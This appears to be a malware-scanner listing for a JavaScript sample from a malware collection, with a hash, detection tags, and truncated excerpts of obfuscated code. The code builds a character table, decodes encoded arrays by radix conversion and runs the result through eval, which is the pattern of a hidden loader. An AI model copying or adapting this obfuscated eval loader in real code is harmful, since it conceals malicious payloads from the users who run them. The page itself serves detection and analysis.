Suspicious ^80% javascript-malware-collection Download

20151210_aa83e56a59a5a38714ea4579b5be6a2e.js

obfuscated eval execution

parseInt toString radix remapMassive array index assignment

SHA-2560e1b5745dba96faf6a54db6ed4c4dd29c6e2e0865c7ca0383e9c7704d72b5884

Evidence

Obfuscated increment/decrement via arithmetic lines 1–7

1var mENGtQKEzVjpu=[];
2vkZreIL=(-95+95)/891;while(true){if(vkZreIL>=(8743+89)/69){break;}mENGtQKEzVjpu[vkZreIL]=String.fromCharCode(vkZreIL);vkZreIL++;}
3function NKMfM(kBOiTuNfwPD,pYslsBnvYXEap,DhlFicVp){jEXv=parseInt(kBOiTuNfwPD,pYslsBnvYXEap);WSjeH=jEXv.toString(DhlFicVp);return WSjeH;}function dLSZKzymKzMwLei(iDdwaHaXQjaBCPJQu){eval(iDdwaHaXQjaBCPJQu)}
4function idRbASPzvsJELCfvwxNgmjiIIRJryLlpOpCzAnOJZUEgWYZWNRDvZP(TfLqhZKlUHEad,BdPwRrjtkMrVAQ){ return mENGtQKEzVjpu[NKMfM(TfLqhZKlUHEad[BdPwRrjtkMrVAQ],(3363+112)/139,(5402+698)/610)];}
5function dfykJBi(WOZmWGXJsJQlAgoLPKjrdhJfaBrVnAoMLiUE) {return !isNaN(parseFloat(WOZmWGXJsJQlAgoLPKjrdhJfaBrVnAoMLiUE)) && isFinite(WOZmWGXJsJQlAgoLPKjrdhJfaBrVnAoMLiUE);}
6function hXVygPSPHFb(puLdgJXH,zRBMjz){return puLdgJXH.split(zRBMjz)}
7var Q=[];Q[0]="d";Q[1]="a";Q[2]="d";Q[3]="a";Q[4]="4i";Q[5]="3m";Q[6]="4e";Q[7]="17";Q[8]="3d";Q[9]="17";Q[10]="2b";Q …

Massive array index assignment line 8

8:4324… ";d[861]="4g";d[862]="4e";d[863]="4l";d[864]="17";d[865]="17";d[866]="4n";d[867]="d";d[868]="a";d[869]="17";d[870]="17";d[871]="17";d[872]="17";d[873]="17";d[874]="17";d[875]="17";d[876]="17";d[877]="17";d[878]="17";d[879]="45";d[880]="42";d[881]="17";d[882]="1f";d[883]="1f";d[884]="1f";d[885]="4a";d[886]="41";d[887]="4j";d[888]="17";d[889]="2i";d[890]="3m";d[891]="4g";d[892]="41";d[893]="1f";d[894]="1g";d …